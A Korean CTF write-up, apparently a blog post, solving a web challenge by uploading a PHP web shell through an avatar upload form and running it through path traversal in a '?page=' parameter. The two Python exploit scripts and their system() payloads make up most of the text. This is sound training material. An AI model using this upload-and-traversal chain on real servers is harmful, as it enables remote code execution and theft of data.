
요 대회를 참가해보았다.
한 문제 풀었는데 write-up을 작성해볼려고 한다!

신기한게 맵 형태로 되어있다. 기존 CTF와 다른 느낌…
Account Service를 풀어보자~
[Account Service]

들어가면 로그인과 회원가입페이지가 보인다.

- 로그인 페이지

- 회원가입페이지
느낌상 파일업로드, sql 인젝션 느낌이 났다. 한 번 개발자도구로 소스코드를 보자!

확인해보니 저런 코드가 있다.
음 fileupload 느낌이 확났다. 따라서 /upload_ok.php에 php 파일을 업로드해서 플래그를 읽으면 될 것같았다.
- 그냥 이미지를 넣고 로그인하면

요런식으로 업로드 된 파일이 적용되지 않고 기본 이미지로 적용된다.
자 코드로 업로드해보자
import requests
# 서버 URL
url = "http://3.36.90.216/upload_ok.php"
# 악성 파일 준비
file_path = "logotest.php"
fake_file_content = """<?php system('ls ../../../'); ?>"""
with open(file_path, "wb") as f:
f.write(fake_file_content.encode())
path_list = [
""
]
for path in path_list:
print(f"[+] Trying path: {path}")
files = {
'avatarFile': (file_path, open(file_path, 'rb'), 'text/html')
}
data = {
'path': path
}
# POST 요청
response = requests.post(url, files=files, data=data)
# 결과 확인
if response.status_code == 200 and "successfully" in response.text:
print(f"[+] File uploaded successfully to path: {path}")
print("Response:", response.text)
else:
print(f"[-] Upload failed for path: {path}")
print("Response:", response.text)

이렇게 업로드 된 파일과 경로를 응답값으로 받게된다.
업로드된 php파일을 실행할 수 있는 경로를 찾아야한다..

?page= 여기는 php파일을 실행시켜준다. 즉 경로우회를 할 수 있는 가능성을 찾았다.
여기에 업로드된 파일의 경로로 경로우회하여 접속하면

ls ../../../ 실행되며 flag가 보인다.
flag를 출력하는 exploit 코드를 짜보자
[exploit 코드]
import requests
import re # 정규 표현식 모듈
upload_url = "http://3.36.90.216/upload_ok.php"
view_url = "http://3.36.90.216/?page="
# 악성 PHP 파일 생성
def create_malicious_php(file_name):
php_payload = b"<?php system('cat ../../../flag'); ?>"
with open(file_name, "wb") as f:
f.write(php_payload)
print(f"[+] Created malicious PHP file: {file_name}")
# 파일 업로드 함수
def upload_file(file_name, upload_url):
files = {
"avatarFile": (file_name, open(file_name, "rb"), "text/html")
}
data = {
"path": ""
}
response = requests.post(upload_url, files=files, data=data)
return response
# 업로드된 파일을 통해 플래그를 요청하는 함수
def get_flag(view_url, uploaded_path):
traversal = "../../../../../../../../../"
full_url = view_url + traversal + uploaded_path.split('.php')[0]
print(f"[+] Accessing URL: {full_url}")
response = requests.get(full_url)
return response
# 플래그 추출 함수
def extract_flag(response_text):
flag_pattern = re.compile(r"lguplus2024\{.*?\}") # lguplus2024{...} 패턴
match = flag_pattern.search(response_text)
if match:
return match.group(0)
return None
# 메인 함수
if __name__ == "__main__":
file_name = "test.php"
create_malicious_php(file_name)
upload_response = upload_file(file_name, upload_url)
if upload_response.status_code == 200 and "successfully" in upload_response.text:
response_data = upload_response.json()
file_id = response_data.get("fileId")
uploaded_path = response_data.get("path")
print(f"[+] File uploaded successfully! File ID: {file_id}")
print(f"[+] File path: {uploaded_path}")
flag_response = get_flag(view_url, uploaded_path)
if flag_response.status_code == 200:
flag = extract_flag(flag_response.text)
if flag:
print(f"[+] Flag obtained: {flag}")
else:
print("[-] Flag not found in the response.")
else:
print("[-] Failed to retrieve the flag.")
print(f"Response: {flag_response.text}")
else:
print("[-] Upload failed.")
print(f"Response: {upload_response.text}")
자 이렇게 exploit 코드를 전송하면

플래그 값이 나오며 직접 사이트를 들어가보면

요렇게 코드가 나온다!!! 재밌었다